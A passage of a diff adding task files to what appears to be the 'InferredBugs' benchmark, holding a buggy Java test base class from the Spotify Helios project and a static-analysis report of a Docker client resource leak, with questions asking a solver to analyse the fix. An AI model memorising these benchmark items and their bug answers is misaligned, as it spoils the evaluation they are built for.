+
+  protected String readLogFully(final ClientResponse logs) throws IOException {
+    final LogReader logReader = new LogReader(logs.getEntityInputStream());
+    StringBuilder stringBuilder = new StringBuilder();
+    LogMessage logMessage;
+    while ((logMessage = logReader.nextMessage()) != null) {
+      stringBuilder.append(UTF_8.decode(logMessage.content()));
+    }
+    logReader.close();
+    return stringBuilder.toString();
+  }
+
+  protected static void removeContainer(final DockerClient dockerClient, final String containerId)
+      throws Exception {
+    // Work around docker sometimes failing to remove a container directly after killing it
+    Polling.await(1, MINUTES, new Callable<Object>() {
+      @Override
+      public Object call() throws Exception {
+        try {
+          dockerClient.killContainer(containerId);
+          dockerClient.removeContainer(containerId);
+          return true;
+        } catch (ContainerNotFoundException e) {
+          // We're done here
+          return true;
+        } catch (DockerException e) {
+          if ((e instanceof DockerRequestException) &&
+              ((DockerRequestException) e).message().contains(
+                  "Driver btrfs failed to remove root filesystem")) {
+            // Workaround btrfs issue where removing containers throws an exception,
+            // but succeeds anyway.
+            return true;
+          } else {
+            return null;
+          }
+        }
+      }
+    });
+    try {
+      // This should fail with an exception if the container still exists
+      dockerClient.inspectContainer(containerId);
+      fail();
+    } catch (DockerException ignore) {
+    }
+  }
+
+  protected List<Container> listContainers(final DockerClient dockerClient, final String needle)
+      throws DockerException, InterruptedException {
+    final List<Container> containers = dockerClient.listContainers();
+    final List<Container> matches = Lists.newArrayList();
+    for (final Container container : containers) {
+      if (container.names() != null) {
+        for (final String name : container.names()) {
+          if (name.contains(needle)) {
+            matches.add(container);
+            break;
+          }
+        }
+      }
+    }
+    return matches;
+  }
+
+  protected List<String> flatten(final Object... values) {
+    final Iterable<Object> valuesList = asList(values);
+    return flatten(valuesList);
+  }
+
+  protected List<String> flatten(final Iterable<?> values) {
+    final List<String> list = new ArrayList<>();
+    for (Object value : values) {
+      if (value instanceof Iterable) {
+        list.addAll(flatten((Iterable<?>) value));
+      } else if (value.getClass() == String[].class) {
+        list.addAll(asList((String[]) value));
+      } else if (value instanceof String) {
+        list.add((String) value);
+      } else {
+        throw new IllegalArgumentException();
+      }
+    }
+    return list;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.spotify.docker.client.DefaultDockerClient` acquired by call to `new()` at line 239 is not released after line 290.
+**Note**: potential exception at line 261
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SystemTestBase.assertDockerReachable(int)
+
+### Procedure Id:
+com.spotify.helios.system.SystemTestBase.assertDockerReachable(int):void.2742db868dd25493f0e2b97b75fdd082
+
+### File:
+helios-system-tests/src/main/java/com/spotify/helios/system/SystemTestBase.java
+
+### Key:
+SystemTestBase.java|assertDockerReachable|RESOURCE_LEAK
+
+### Node Key:
+f708be3b31ec58c51324ba438161e62b
+
+### Hash:
+e75f457735907d7afd5422fa1bb98c4d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3529/instruction.md b/inferredbugs-3529/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7b53888f6aee44483dca0a036eea275a1d61cdf2
--- /dev/null
+++ b/inferredbugs-3529/instruction.md
@@ -0,0 +1,1084 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helios
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2014 Spotify AB.
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package com.spotify.helios.system;
+
+import com.fasterxml.jackson.databind.util.ISO8601Utils;
+import com.google.common.base.Strings;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Range;
+import com.google.common.util.concurrent.FutureFallback;
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.Service;
+
+import com.fasterxml.jackson.core.type.TypeReference;
+import com.spotify.docker.client.ContainerNotFoundException;
+import com.spotify.docker.client.DefaultDockerClient;
+import com.spotify.docker.client.DockerClient;
+import com.spotify.docker.client.DockerException;
+import com.spotify.docker.client.DockerRequestException;
+import com.spotify.docker.client.ImageNotFoundException;
+import com.spotify.docker.client.LogMessage;
+import com.spotify.docker.client.LogReader;
+import com.spotify.docker.client.messages.Container;
+import com.spotify.docker.client.messages.ContainerConfig;
+import com.spotify.docker.client.messages.ContainerCreation;
+import com.spotify.docker.client.messages.ContainerInfo;
+import com.spotify.docker.client.messages.HostConfig;
+import com.spotify.docker.client.messages.PortBinding;
+import com.spotify.helios.Polling;
+import com.spotify.helios.TemporaryPorts;
+import com.spotify.helios.ZooKeeperStandaloneServerManager;
+import com.spotify.helios.ZooKeeperTestManager;
+import com.spotify.helios.agent.AgentMain;
+import com.spotify.helios.cli.CliMain;
+import com.spotify.helios.client.HeliosClient;
+import com.spotify.helios.common.Json;
+import com.spotify.helios.common.descriptors.Deployment;
+import com.spotify.helios.common.descriptors.HostStatus;
+import com.spotify.helios.common.descriptors.Job;
+import com.spotify.helios.common.descriptors.JobId;
+import com.spotify.helios.common.descriptors.JobStatus;
+import com.spotify.helios.common.descriptors.PortMapping;
+import com.spotify.helios.common.descriptors.ServiceEndpoint;
+import com.spotify.helios.common.descriptors.ServicePorts;
+import com.spotify.helios.common.descriptors.TaskStatus;
+import com.spotify.helios.common.descriptors.ThrottleState;
+import com.spotify.helios.common.protocol.JobDeleteResponse;
+import com.spotify.helios.common.protocol.JobUndeployResponse;
+import com.spotify.helios.master.MasterMain;
+import com.spotify.helios.servicescommon.DockerHost;
+import com.spotify.helios.servicescommon.coordination.CuratorClientFactory;
+import com.spotify.helios.servicescommon.coordination.Paths;
+import com.sun.jersey.api.client.ClientResponse;
+
+import org.apache.curator.framework.CuratorFramework;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.ExpectedException;
+import org.junit.rules.TemporaryFolder;
+import org.junit.rules.TestRule;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.slf4j.bridge.SLF4JBridgeHandler;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.net.Socket;
+import java.net.URI;
+import java.nio.file.Path;
+import java.security.SecureRandom;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ThreadLocalRandom;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+import static com.google.common.base.CharMatcher.WHITESPACE;
+import static com.google.common.base.Charsets.UTF_8;
+import static com.google.common.base.Preconditions.checkArgument;
+import static com.google.common.base.Preconditions.checkNotNull;
+import static com.google.common.collect.Iterables.concat;
+import static com.google.common.collect.Lists.newArrayList;
+import static com.spotify.helios.TemporaryPorts.AllocatedPort;
+import static com.spotify.helios.common.descriptors.Goal.UNDEPLOY;
+import static com.spotify.helios.common.descriptors.Job.EMPTY_ENV;
+import static com.spotify.helios.common.descriptors.Job.EMPTY_EXPIRES;
+import static com.spotify.helios.common.descriptors.Job.EMPTY_PORTS;
+import static com.spotify.helios.common.descriptors.Job.EMPTY_REGISTRATION;
+import static com.spotify.helios.common.descriptors.Job.EMPTY_VOLUMES;
+import static java.lang.Integer.toHexString;
+import static java.lang.String.format;
+import static java.util.Arrays.asList;
+import static java.util.concurrent.TimeUnit.MINUTES;
+import static java.util.concurrent.TimeUnit.SECONDS;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.containsString;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+public abstract class SystemTestBase {
+
+  private static final Logger log = LoggerFactory.getLogger(SystemTestBase.class);
+
+  public static final int WAIT_TIMEOUT_SECONDS = 40;
+  public static final int LONG_WAIT_MINUTES = 10;
+  public static final int INTERNAL_PORT = 4444;
+
+  public static final String BUSYBOX = "busybox";
+  public static final List<String> IDLE_COMMAND = asList("sh", "-c", "while :; do sleep 1; done");
+
+  public final String testTag = "test_" + toHexString(ThreadLocalRandom.current().nextInt());
+  public final String testJobName = "job_" + testTag;
+  public final String testJobVersion = "v" + toHexString(ThreadLocalRandom.current().nextInt());
+
+  public static final DockerHost DOCKER_HOST = DockerHost.fromEnv();
+
+  public static final String TEST_USER = "test-user";
+  public static final String TEST_HOST = "test-host";
+  public static final String TEST_MASTER = "test-master";
+
+  @Rule public final TemporaryPorts temporaryPorts = TemporaryPorts.create();
+
+  @Rule public final TemporaryFolder temporaryFolder = new TemporaryFolder();
+  @Rule public final ExpectedException exception = ExpectedException.none();
+  @Rule public final TestRule watcher = new LoggingTestWatcher();
+
+  private int masterPort;
+  private int masterAdminPort;
+  private String masterEndpoint;
+  private boolean integrationMode;
+  private Range<Integer> dockerPortRange;
+
+  private final List<Service> services = newArrayList();
+  private final List<HeliosClient> clients = Lists.newArrayList();
+
+  private String testHost;
+  private Path agentStateDirs;
+  private String masterName;
+
+  private ZooKeeperTestManager zk;
+
+  @BeforeClass
+  public static void staticSetup() {
+    SLF4JBridgeHandler.removeHandlersForRootLogger();
+    SLF4JBridgeHandler.install();
+  }
+
+  @Before
+  public void baseSetup() throws Exception {
+    masterPort = temporaryPorts.localPort("helios master");
+    masterAdminPort = temporaryPorts.localPort("helios master admin");
+
+    String className = getClass().getName();
+    if (className.endsWith("ITCase")) {
+      masterEndpoint = checkNotNull(System.getenv("HELIOS_ENDPOINT"),
+                                    "For integration tests, HELIOS_ENDPOINT *must* be set");
+      integrationMode = true;
+    } else if (className.endsWith("Test")) {
+      integrationMode = false;
+      masterEndpoint = "http://localhost:" + masterPort();
+      // unit test
+    } else {
+      throw new RuntimeException("testClass neither ends in Test or ITCase");
+    }
+
+    zk = zooKeeperTestManager();
+    listThreads();
+    zk.ensure("/config");
+    zk.ensure("/status");
+    agentStateDirs = temporaryFolder.newFolder("helios-agents").toPath();
+  }
+
+  @Before
+  public void dockerSetup() throws Exception {
+    final String portRange = System.getenv("DOCKER_PORT_RANGE");
+
+    final AllocatedPort allocatedPort;
+    final int probePort;
+    if (portRange != null) {
+      final String[] parts = portRange.split(":", 2);
+      dockerPortRange = Range.closedOpen(Integer.valueOf(parts[0]),
+                                         Integer.valueOf(parts[1]));
+      allocatedPort = Polling.await(LONG_WAIT_MINUTES, MINUTES, new Callable<AllocatedPort>() {
+        @Override
+        public AllocatedPort call() throws Exception {
+          final int port = ThreadLocalRandom.current().nextInt(dockerPortRange.lowerEndpoint(),
+                                                               dockerPortRange.upperEndpoint());
+          return temporaryPorts.tryAcquire("docker-probe", port);
+        }
+      });
+      probePort = allocatedPort.port();
+    } else {
+      dockerPortRange = temporaryPorts.localPortRange("docker", 10);
+      probePort = dockerPortRange().lowerEndpoint();
+      allocatedPort = null;
+    }
+
+    try {
+      assertDockerReachable(probePort);
+    } finally {
+      if (allocatedPort != null) {
+        allocatedPort.release();
+      }
+    }
+  }
+
+  private void assertDockerReachable(final int probePort) throws Exception {
+    final DockerClient docker = new DefaultDockerClient(DOCKER_HOST.uri());
+
+    try {
+      docker.inspectImage(BUSYBOX);
+    } catch (ImageNotFoundException e) {
+      docker.pull(BUSYBOX);
+    }
+
+    final ContainerConfig config = ContainerConfig.builder()
+        .image(BUSYBOX)
+        .cmd("nc", "-p", "4711", "-lle", "cat")
+        .exposedPorts(ImmutableSet.of("4711/tcp"))
+        .build();
+    final HostConfig hostConfig = HostConfig.builder()
+        .portBindings(ImmutableMap.of("4711/tcp",
+                                      asList(PortBinding.of("0.0.0.0", probePort))))
+        .build();
+    final ContainerCreation creation = docker.createContainer(config, testTag + "-probe");
+    final String containerId = creation.id();
+    docker.startContainer(containerId, hostConfig);
+
+    // Wait for container to come up
+    Polling.await(5, SECONDS, new Callable<Object>() {
+      @Override
+      public Object call() throws Exception {
+        final ContainerInfo info = docker.inspectContainer(containerId);
+        return info.state().running() ? true : null;
+      }
+    });
+
+    log.info("Verifying that docker containers are reachable");
+    try {
+      Polling.awaitUnchecked(5, SECONDS, new Callable<Object>() {
+        @Override
+        public Object call() throws Exception {
+          log.info("Probing: {}:{}", DOCKER_HOST.address(), probePort);
+          try (final Socket ignored = new Socket(DOCKER_HOST.address(), probePort)) {
+            return true;
+          } catch (IOException e) {
+            return false;
+          }
+        }
+      });
+    } catch (TimeoutException e) {
+      fail("Please ensure that DOCKER_HOST is set to an address that where containers can " +
+           "be reached. If docker is running in a local VM, DOCKER_HOST must be set to the " +
+           "address of that VM. If docker can only be reached on a limited port range, " +
+           "set the environment variable DOCKER_PORT_RANGE=start:end");
+    }
+
+    docker.killContainer(containerId);
+  }
+
+  protected ZooKeeperTestManager zooKeeperTestManager() {
+    return new ZooKeeperStandaloneServerManager();
+  }
+
+  @After
+  public void baseTeardown() throws Exception {
+    tearDownJobs();
+    for (final HeliosClient client : clients) {
+      client.close();
+    }
+    clients.clear();
+
+    for (Service service : services) {
+      try {
+        service.stopAsync();
+      } catch (Exception e) {
+        log.error("Uncaught exception", e);
+      }
+    }
+    for (Service service : services) {
+      try {
+        service.awaitTerminated();
+      } catch (Exception e) {
+        log.error("Service failed", e);
+      }
+    }
+    services.clear();
+
+    // Clean up docker
+    try {
+      final DockerClient dockerClient = new DefaultDockerClient(DOCKER_HOST.uri());
+      final List<Container> containers = dockerClient.listContainers();
+      for (final Container container : containers) {
+        for (final String name : container.names()) {
+          if (name.contains(testTag)) {
+            try {
+              dockerClient.killContainer(container.id());
+            } catch (DockerException e) {
+              e.printStackTrace();
+            }
+            break;
+          }
+        }
+      }
+    } catch (Exception e) {
+      log.error("Docker client exception", e);
+    }
+
+    if (zk != null) {
+      zk.close();
+    }
+
+    listThreads();
+  }
+
+  private void listThreads() {
+    final Set<Thread> threads = Thread.getAllStackTraces().keySet();
+    final Map<String, Thread> sorted = Maps.newTreeMap();
+    for (final Thread t : threads) {
+      final ThreadGroup tg = t.getThreadGroup();
+      if (t.isAlive() && (tg == null || !tg.getName().equals("system"))) {
+        sorted.put(t.getName(), t);
+      }
+    }
+    log.info("= THREADS " + Strings.repeat("=", 70));
+    for (final Thread t : sorted.values()) {
+      final ThreadGroup tg = t.getThreadGroup();
+      log.info("{}: \"{}\" ({}{})", t.getId(), t.getName(),
+               (tg == null ? "" : tg.getName() + " "),
+               (t.isDaemon() ? "daemon" : ""));
+    }
+    log.info(Strings.repeat("=", 80));
+  }
+
+  protected void tearDownJobs() throws InterruptedException, ExecutionException {
+    if (!isIntegration()) {
+      return;
+    }
+
+    if (System.getenv("ITCASE_PRESERVE_JOBS") != null) {
+      return;
+    }
+
+    final List<ListenableFuture<JobUndeployResponse>> undeploys = Lists.newArrayList();
+    final HeliosClient c = defaultClient();
+    final Map<JobId, Job> jobs = c.jobs().get();
+    for (JobId jobId : jobs.keySet()) {
+      if (!jobId.toString().startsWith(testTag)) {
+        continue;
+      }
+      final JobStatus st = c.jobStatus(jobId).get();
+      final Set<String> hosts = st.getDeployments().keySet();
+      for (String host : hosts) {
+        log.info("Undeploying job " + jobId);
+        undeploys.add(c.undeploy(jobId, host));
+      }
+    }
+    Futures.allAsList(undeploys);
+
+    final List<ListenableFuture<JobDeleteResponse>> deletes = Lists.newArrayList();
+    for (JobId jobId : jobs.keySet()) {
+      if (!jobId.toString().startsWith(testTag)) {
+        continue;
+      }
+      log.info("Deleting job " + jobId);
+      deletes.add(c.deleteJob(jobId));
+    }
+    Futures.allAsList(deletes);
+  }
+
+  protected boolean isIntegration() {
+    return integrationMode;
+  }
+
+  protected TemporaryPorts temporaryPorts() {
+    return temporaryPorts;
+  }
+
+  protected ZooKeeperTestManager zk() {
+    return zk;
+  }
+
+  protected String masterEndpoint() {
+    return masterEndpoint;
+  }
+
+  protected String masterName() throws InterruptedException, ExecutionException {
+    if (integrationMode) {
+      if (masterName == null) {
+        masterName = defaultClient().listMasters().get().get(0);
+      }
+      return masterName;
+    } else {
+      return "test-master";
+    }
+  }
+
+  protected HeliosClient defaultClient() {
+    return client(TEST_USER, masterEndpoint());
+  }
+
+  protected HeliosClient client(final String user, final String endpoint) {
+    final HeliosClient client = HeliosClient.newBuilder()
+        .setUser(user)
+        .setEndpoints(asList(URI.create(endpoint)))
+        .build();
+    clients.add(client);
+    return client;
+  }
+
+  protected int masterPort() {
+    return masterPort;
+  }
+
+  protected int masterAdminPort() {
+    return masterAdminPort;
+  }
+
+  public Range<Integer> dockerPortRange() {
+    return dockerPortRange;
+  }
+
+  protected String testHost() throws InterruptedException, ExecutionException {
+    if (integrationMode) {
+      if (testHost == null) {
+        final List<String> hosts = defaultClient().listHosts().get();
+        testHost = hosts.get(new SecureRandom().nextInt(hosts.size()));
+      }
+      return testHost;
+    } else {
+      return TEST_HOST;
+    }
+  }
+
+  protected List<String> setupDefaultMaster(String... args) throws Exception {
+    if (isIntegration()) {
+      checkArgument(args.length == 0,
+                    "cannot start default master in integration test with arguments passed");
+      return null;
+    }
+
+    // TODO (dano): Move this bootstrapping to something reusable
+    final CuratorFramework curator = zk.curator();
+    curator.newNamespaceAwareEnsurePath(Paths.configHosts()).ensure(curator.getZookeeperClient());
+    curator.newNamespaceAwareEnsurePath(Paths.configJobs()).ensure(curator.getZookeeperClient());
+    curator.newNamespaceAwareEnsurePath(Paths.configJobRefs()).ensure(curator.getZookeeperClient());
+    curator.newNamespaceAwareEnsurePath(Paths.statusHosts()).ensure(curator.getZookeeperClient());
+    curator.newNamespaceAwareEnsurePath(Paths.statusMasters()).ensure(curator.getZookeeperClient());
+    curator.newNamespaceAwareEnsurePath(Paths.historyJobs()).ensure(curator.getZookeeperClient());
+
+    final List<String> argsList = Lists.newArrayList("-vvvv",
+                                                     "--no-log-setup",
+                                                     "--http", masterEndpoint(),
+                                                     "--admin=" + masterAdminPort(),
+                                                     "--name", TEST_MASTER,
+                                                     "--domain", "",
+                                                     "--zk", zk.connectString());
+    argsList.addAll(asList(args));
+
+    return argsList;
+  }
+
+  protected void startDefaultMaster(String... args) throws Exception {
+    final List<String> argsList = setupDefaultMaster(args);
+
+    if (argsList == null) {
+      return;
+    }
+
+    startMaster(argsList.toArray(new String[argsList.size()]));
+    waitForMasterToConnectToZK();
+  }
+
+  protected void waitForMasterToConnectToZK() throws Exception {
+    Polling.await(WAIT_TIMEOUT_SECONDS, SECONDS, new Callable<Object>() {
+      @Override
+      public Object call() {
+        try {
+          final List<String> masters = defaultClient().listMasters().get();
+          return masters != null;
+        } catch (Exception e) {
+          return null;
+        }
+      }
+    });
+  }
+
+  protected void startDefaultMasterDontWaitForZK(final CuratorClientFactory curatorClientFactory,
+                                                 String... args) throws Exception {
+    List<String> argsList = setupDefaultMaster(args);
+
+    if (argsList == null) {
+      return;
+    }
+
+    startMaster(curatorClientFactory, argsList.toArray(new String[argsList.size()]));
+  }
+
+  protected AgentMain startDefaultAgent(final String host, final String... args)
+      throws Exception {
+    if (isIntegration()) {
+      checkArgument(args.length == 0,
+                    "cannot start default agent in integration test with arguments passed");
+      return null;
+    }
+
+    final String stateDir = agentStateDirs.resolve(host).toString();
+    final List<String> argsList = Lists.newArrayList("-vvvv",
+                                                     "--no-log-setup",
+                                                     "--no-http",
+                                                     "--name", host,
+                                                     "--docker=" + DOCKER_HOST,
+                                                     "--zk", zk.connectString(),
+                                                     "--zk-session-timeout", "100",
+                                                     "--zk-connection-timeout", "100",
+                                                     "--state-dir", stateDir,
+                                                     "--domain", "",
+                                                     "--port-range=" +
+                                                     dockerPortRange.lowerEndpoint() + ":" +
+                                                     dockerPortRange.upperEndpoint()
+    );
+    argsList.addAll(asList(args));
+    return startAgent(argsList.toArray(new String[argsList.size()]));
+  }
+
+  protected MasterMain startMaster(final String... args) throws Exception {
+    final MasterMain main = new MasterMain(args);
+    main.startAsync().awaitRunning();
+    services.add(main);
+    return main;
+  }
+
+  MasterMain startMaster(final CuratorClientFactory curatorClientFactory,
+                         final String... args) throws Exception {
+    final MasterMain main = new MasterMain(curatorClientFactory, args);
+    main.startAsync().awaitRunning();
+    services.add(main);
+    return main;
+  }
+
+  protected AgentMain startAgent(final String... args) throws Exception {
+    final AgentMain main = new AgentMain(args);
+    main.startAsync().awaitRunning();
+    services.add(main);
+    return main;
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command) throws Exception {
+    return createJob(name, version, image, command, EMPTY_ENV, EMPTY_PORTS, EMPTY_REGISTRATION);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final Date expires) throws Exception {
+    return createJob(name, version, image, command, EMPTY_ENV, EMPTY_PORTS, EMPTY_REGISTRATION,
+      EMPTY_VOLUMES, expires);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final ImmutableMap<String, String> env)
+      throws Exception {
+    return createJob(name, version, image, command, env, EMPTY_PORTS, EMPTY_REGISTRATION);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final Map<String, String> env,
+                            final Map<String, PortMapping> ports) throws Exception {
+    return createJob(name, version, image, command, env, ports, EMPTY_REGISTRATION);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final Map<String, String> env,
+                            final Map<String, PortMapping> ports,
+                            final Map<ServiceEndpoint, ServicePorts> registration)
+      throws Exception {
+    return createJob(name, version, image, command, env, ports, registration, EMPTY_VOLUMES);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final Map<String, String> env,
+                            final Map<String, PortMapping> ports,
+                            final Map<ServiceEndpoint, ServicePorts> registration,
+                            final Map<String, String> volumes) throws Exception {
+    return createJob(name, version, image, command, env, ports, registration, volumes,
+        EMPTY_EXPIRES);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final Map<String, String> env,
+                            final Map<String, PortMapping> ports,
+                            final Map<ServiceEndpoint, ServicePorts> registration,
+                            final Map<String, String> volumes,
+                            final Date expires) throws Exception {
+    return createJob(Job.newBuilder()
+        .setName(name)
+        .setVersion(version)
+        .setImage(image)
+        .setCommand(command)
+        .setEnv(env)
+        .setPorts(ports)
+        .setRegistration(registration)
+        .setVolumes(volumes)
+        .setExpires(expires)
+        .build());
+  }
+
+  protected JobId createJob(final Job job) throws Exception {
+    final String name = job.getId().getName();
+    final String version = job.getId().getVersion();
+    checkArgument(name.contains(testTag), "Job name must contain testTag to enable cleanup");
+
+    final List<String> args = Lists.newArrayList("-q", name + ':' + version, job.getImage());
+
+    for (Map.Entry<String, String> entry : job.getEnv().entrySet()) {
+      args.add("--env=" + entry.getKey() + "=" + entry.getValue());
+    }
+
+    for (final Map.Entry<String, PortMapping> entry : job.getPorts().entrySet()) {
+      args.add("--port");
+      String value = "" + entry.getValue().getInternalPort();
+      if (entry.getValue().getExternalPort() != null) {
+        value += ":" + entry.getValue().getExternalPort();
+      }
+      if (entry.getValue().getProtocol() != null) {
+        value += "/" + entry.getValue().getProtocol();
+      }
+      args.add(entry.getKey() + "=" + value);
+    }
+
+    for (final Map.Entry<ServiceEndpoint, ServicePorts> entry : job.getRegistration().entrySet()) {
+      final ServiceEndpoint r = entry.getKey();
+      for (String portName : entry.getValue().getPorts().keySet()) {
+          args.add("--register=" + ((r.getProtocol() == null)
+                                    ? format("%s=%s", r.getName(), portName)
+                                    : format("%s/%s=%s", r.getName(), r.getProtocol(), portName)));
+        }
+    }
+
+    for (Map.Entry<String, String> entry : job.getVolumes().entrySet()) {
+      if (Strings.isNullOrEmpty(entry.getKey())) {
+        // Data volume
+        args.add("--volume=" + entry.getKey());
+      } else {
+        // Bind mount
+        args.add("--volume=" + entry.getValue() + ":" + entry.getKey());
+      }
+    }
+
+    if (job.getExpires() != null) {
+      args.add("--expires=" + ISO8601Utils.format(job.getExpires()));
+    }
+
+    args.add("--");
+    args.addAll(job.getCommand());
+
+    final String createOutput = cli("create", args);
+    final String jobId = WHITESPACE.trimFrom(createOutput);
+
+    final String listOutput = cli("jobs", "-q");
+    assertThat(listOutput, containsString(jobId));
+    return JobId.fromString(jobId);
+  }
+
+  protected void deployJob(final JobId jobId, final String host)
+      throws Exception {
+    final String deployOutput = cli("deploy", jobId.toString(), host);
+    assertThat(deployOutput, containsString(host + ": done"));
+
+    final String output = cli("status", "--host", host, "--json");
+    final Map<JobId, JobStatus> statuses =
+        Json.readUnchecked(output, new TypeReference<Map<JobId, JobStatus>>() {});
+    assertTrue(statuses.keySet().contains(jobId));
+  }
+
+  protected void undeployJob(final JobId jobId, final String host) throws Exception {
+    final String undeployOutput = cli("undeploy", jobId.toString(), host);
+    assertThat(undeployOutput, containsString(host + ": done"));
+
+    final String output = cli("status", "--host", host, "--json");
+    final Map<JobId, JobStatus> statuses =
+        Json.readUnchecked(output, new TypeReference<Map<JobId, JobStatus>>() {});
+    final JobStatus status = statuses.get(jobId);
+    assertTrue(status == null ||
+               status.getDeployments().get(host) == null ||
+               status.getDeployments().get(host).getGoal() == UNDEPLOY);
+  }
+
+  protected String startJob(final JobId jobId, final String host) throws Exception {
+    return cli("start", jobId.toString(), host);
+  }
+
+  protected String stopJob(final JobId jobId, final String host) throws Exception {
+    return cli("stop", jobId.toString(), host);
+  }
+
+  protected String deregisterHost(final String host) throws Exception {
+    return cli("deregister", host, "--force");
+  }
+
+  protected String cli(final String command, final Object... args)
+      throws Exception {
+    return cli(command, flatten(args));
+  }
+
+  protected String cli(final String command, final String... args)
+      throws Exception {
+    return cli(command, asList(args));
+  }
+
+  protected String cli(final String command, final List<String> args)
+      throws Exception {
+    final List<String> commands = asList(command, "-z", masterEndpoint(), "--no-log-setup");
+    final List<String> allArgs = newArrayList(concat(commands, args));
+    return main(allArgs).toString();
+  }
+
+  protected ByteArrayOutputStream main(final String... args) throws Exception {
+    final ByteArrayOutputStream out = new ByteArrayOutputStream();
+    final ByteArrayOutputStream err = new ByteArrayOutputStream();
+    final CliMain main = new CliMain(new PrintStream(out), new PrintStream(err), args);
+    main.run();
+    return out;
+  }
+
+  protected ByteArrayOutputStream main(final Collection<String> args) throws Exception {
+    return main(args.toArray(new String[args.size()]));
+  }
+
+  protected void awaitHostRegistered(final String name, final long timeout, final TimeUnit timeUnit)
+      throws Exception {
+    Polling.await(timeout, timeUnit, new Callable<Object>() {
+      @Override
+      public Object call() throws Exception {
+        final String output = cli("hosts", "-q");
+        return output.contains(name) ? true : null;
+      }
+    });
+  }
+
+  protected HostStatus awaitHostStatus(final String name, final HostStatus.Status status,
+                                       final int timeout, final TimeUnit timeUnit)
+      throws Exception {
+    return Polling.await(timeout, timeUnit, new Callable<HostStatus>() {
+      @Override
+      public HostStatus call() throws Exception {
+        final String output = cli("hosts", name, "--json");
+        final Map<String, HostStatus> statuses;
+        try {
+          statuses = Json.read(output, new TypeReference<Map<String, HostStatus>>() {});
+        } catch (IOException e) {
+          return null;
+        }
+        final HostStatus hostStatus = statuses.get(name);
+        if (hostStatus == null) {
+          return null;
+        }
+        return (hostStatus.getStatus() == status) ? hostStatus : null;
+      }
+    });
+  }
+
+  protected TaskStatus awaitJobState(final HeliosClient client, final String host,
+                                     final JobId jobId,
+                                     final TaskStatus.State state, final int timeout,
+                                     final TimeUnit timeunit) throws Exception {
+    return Polling.await(timeout, timeunit, new Callable<TaskStatus>() {
+      @Override
+      public TaskStatus call() throws Exception {
+        final HostStatus hostStatus = getOrNull(client.hostStatus(host));
+        if (hostStatus == null) {
+          return null;
+        }
+        final TaskStatus taskStatus = hostStatus.getStatuses().get(jobId);
+        return (taskStatus != null && taskStatus.getState() == state) ? taskStatus
+                                                                      : null;
+      }
+    });
+  }
+
+  protected TaskStatus awaitJobThrottle(final HeliosClient client, final String host,
+                                        final JobId jobId,
+                                        final ThrottleState throttled, final int timeout,
+                                        final TimeUnit timeunit) throws Exception {
+    return Polling.await(timeout, timeunit, new Callable<TaskStatus>() {
+      @Override
+      public TaskStatus call() throws Exception {
+        final HostStatus hostStatus = getOrNull(client.hostStatus(host));
+        if (hostStatus == null) {
+          return null;
+        }
+        final TaskStatus taskStatus = hostStatus.getStatuses().get(jobId);
+        return (taskStatus != null && taskStatus.getThrottled() == throttled) ? taskStatus : null;
+      }
+    });
+  }
+
